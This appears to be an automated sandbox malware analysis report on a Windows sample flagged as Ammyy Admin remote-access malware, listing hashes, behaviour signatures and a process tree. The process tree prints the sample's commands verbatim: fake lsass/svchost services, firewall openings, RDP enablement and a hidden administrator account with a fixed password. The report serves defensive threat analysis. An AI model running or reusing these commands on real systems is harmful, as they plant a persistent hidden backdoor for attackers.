Analysis

  • max time kernel
    92s
  • max time network
    109s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-09-2024 11:13

General

  • Target

    e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe

  • Size

    793KB

  • MD5

    e25a5099c31b2f40353e95ba4d0c3fec

  • SHA1

    44c0d53160a4791f82456c4c4a70cd1bf1194d51

  • SHA256

    c29ad03e0ec0fc3917ba169a13cace2455cf7c79aee863766255ae77c805a533

  • SHA512

    343760910ba9c89131e62e67e5e7a4045059a8fe3aff1578811273cbca093a6280525320f5ec55bff1426629c92a3543167b92005535815efa65f03859dbac2e

  • SSDEEP

    24576:z9DTK2LB+Rz13UT1++7WSM7hIiaeQ+oAgDjBUv:zhB86d7U7CeaDj+

Malware Config

Signatures

  • Ammyy Admin

    Remote admin tool with various capabilities.

  • AmmyyAdmin payload 1 IoCs
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Creates new service(s) 2 TTPs
  • Modifies Windows Firewall 2 TTPs 7 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • Password Policy Discovery 1 TTPs

    Attempt to access detailed information about the password policy used within an enterprise network.

  • Hide Artifacts: Hidden Users 1 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 21 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 39 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Runs net.exe
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2464
    • C:\Windows\SysWOW64\sc.exe
      sc stop "ProtocolWindows_ "
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4568
    • C:\Windows\SysWOW64\sc.exe
      sc delete "ProtocolWindows_ "
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:5028
    • C:\Windows\SysWOW64\sc.exe
      sc stop "PlugAndPlay"
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1472
    • C:\Windows\SysWOW64\sc.exe
      sc delete "PlugAndPlay"
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4532
    • C:\Windows\SysWOW64\sc.exe
      sc create "ProtocolWindows_ " binpath= "C:\Users\Admin\AppData\Roaming\lsass.exe" displayname= "Protocol HTTP/SSL " type= own start= auto error= ignore
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:428
    • C:\Windows\SysWOW64\sc.exe
      sc description "ProtocolWindows_ " "Ýòà ñëóæáa îáåñïå÷èâàåò áåçîïañíûé ïðîòîêîë ïåðåäà÷è äàííûõ ãèïåðòåêñòà (HTTPS) äëÿ ñëóæáû HTTP. Åñëè ýòà ñëóæáà îòêëþ÷åía, ëþáûå ñëóæáû, êîòîðûå ÿâíî çaâèñÿò îò íåå, íå ìîãóò áûòü çàïóùåíû. "
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3564
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\lsass.exe" ENABLE
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:1160
    • C:\Windows\SysWOW64\sc.exe
      sc create "PlugAndPlay" displayname= "PlugAndPlay " binpath= "C:\Users\Admin\AppData\Roaming\svchost.exe -service -debug" type= own start= auto error= ignore
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1956
    • C:\Windows\SysWOW64\REG.exe
      REG ADD "HKLM\SYSTEM\CurrentControlSet\services\PlugAndPlay" /v ImagePath /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\svchost.exe -service -debug" /f
      2⤵
      • Sets service image path in registry
      • System Location Discovery: System Language Discovery
      PID:1044
    • C:\Windows\SysWOW64\REG.exe
      REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_REGDWORD /d 3389 /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:552
    • C:\Windows\SysWOW64\REG.exe
      REG ADD "HKCU\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN" /v iexplore.exe /t REG_REGDWORD /d 0 /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1336
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\svchost.exe" ENABLE
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:4292
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram ctfmon.exe ENABLE
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:444
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add portopening protocol = TCP port = 3389 name = TCP
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:3616
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add portopening protocol = TCP port = 8080 name = TCP
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:5084
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add portopening protocol = TCP port = 31337 name = TCP
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:3096
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add portopening protocol = TCP port = 80 name = TCP
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:364
    • C:\Users\Admin\AppData\Roaming\termserv.exe
      C:\Users\Admin\AppData\Roaming\termserv.exe -silent
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:3112
    • C:\Windows\SysWOW64\sc.exe
      sc start mnmsrvc
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:8
    • C:\Windows\SysWOW64\sc.exe
      sc Start TlntSvr
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2612
    • C:\Windows\SysWOW64\sc.exe
      sc Start TermService
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3256
    • C:\Windows\SysWOW64\net.exe
      net start FastUserSwitchingCompatibility
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3128
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 start FastUserSwitchingCompatibility
        3⤵
        • System Location Discovery: System Language Discovery
        PID:5004
    • C:\Windows\SysWOW64\net.exe
      net start TermService
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1856
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 start TermService
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4152
    • C:\Windows\SysWOW64\REG.exe
      REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:388
    • C:\Windows\SysWOW64\REG.exe
      REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4352
    • C:\Windows\SysWOW64\net.exe
      net user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes
      2⤵
      • System Location Discovery: System Language Discovery
      PID:424
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2304
    • C:\Windows\SysWOW64\net.exe
      net localgroup Microsoft /add
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4984
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 localgroup Microsoft /add
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1728
    • C:\Windows\SysWOW64\net.exe
      net localgroup Àäìèíèñòðàòîðû Microsoft /add
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4200
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 localgroup Àäìèíèñòðàòîðû Microsoft /add
        3⤵
        • System Location Discovery: System Language Discovery
        PID:552
    • C:\Windows\SysWOW64\net.exe
      net localgroup Administrators Microsoft /add
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3552
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 localgroup Administrators Microsoft /add
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3436
    • C:\Windows\SysWOW64\net.exe
      net accounts /maxpwage:unlimited
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2548
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 accounts /maxpwage:unlimited
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1556
    • C:\Windows\SysWOW64\REG.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Microsoft /t REG_DWORD /d 0 /f
      2⤵
      • Hide Artifacts: Hidden Users
      • System Location Discovery: System Language Discovery
      PID:4248

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\lsass.exe

    Filesize

    24KB

    MD5

    f5d70d9c0d3e969d05853d74ed873938

    SHA1

    229c8228f7f7a7a9bb392cfd2c3e2094fbe7c205

    SHA256

    dc583111b2f8ef01f752f18682934005d5bb0060233f0c50f8c88c91dc17a0c5

    SHA512

    968c9b8f317e5650ecfe28d730b3a4e6a810b1cc6d0a415d297c1229f327d4ff14bb3b66552e22823037a0243fb613a41c051323fd7ba4e9dc4cbf65813f24ca

  • C:\Users\Admin\AppData\Roaming\svchost.exe

    Filesize

    587KB

    MD5

    ad6269fd2b94fa1ad58f4755c288eed2

    SHA1

    736be980a1170d6fbc63ee02bd7dde14fb860513

    SHA256

    18b723836baba860e45cb4cebd01dfecd71f318d88518baf2f0fa41b3bb8a704

    SHA512

    0ede581e7e6153612c63b8fce40f9e3bbd415f541800c9f57167f09f57fca657e59eff34db647b24bd7ef2eb8d3bb5a67244864cd2e49ec22b22ea692df1c3dc

  • C:\Users\Admin\AppData\Roaming\termserv.exe

    Filesize

    44KB

    MD5

    382cebd78ad354b1dfd91dc8176615f6

    SHA1

    5c734f779cf23cee4d7260a0eee3ce1ed888f1c0

    SHA256

    067f0765790c0e75c3774f4c5890ddacb8b99ecd6f80743d68aad9d34de8b445

    SHA512

    650a3be640baac30d3c36185048c6f4e5b2536cf0086b49386ea7149c7148cc1ce4f12c7832ddb2520677d67f15214b0c8e41c0eed5938b0283b1374f6bdd197

  • \??\PIPE\lsarpc

    MD5

    d41d8cd98f00b204e9800998ecf8427e

    SHA1

    da39a3ee5e6b4b0d3255bfef95601890afd80709

    SHA256

    e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

    SHA512

    cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

  • memory/2464-0-0x0000000000400000-0x0000000000412000-memory.dmp

    Filesize

    72KB

  • memory/2464-22-0x0000000000400000-0x0000000000412000-memory.dmp

    Filesize

    72KB

  • memory/2464-28-0x0000000000400000-0x0000000000412000-memory.dmp

    Filesize

    72KB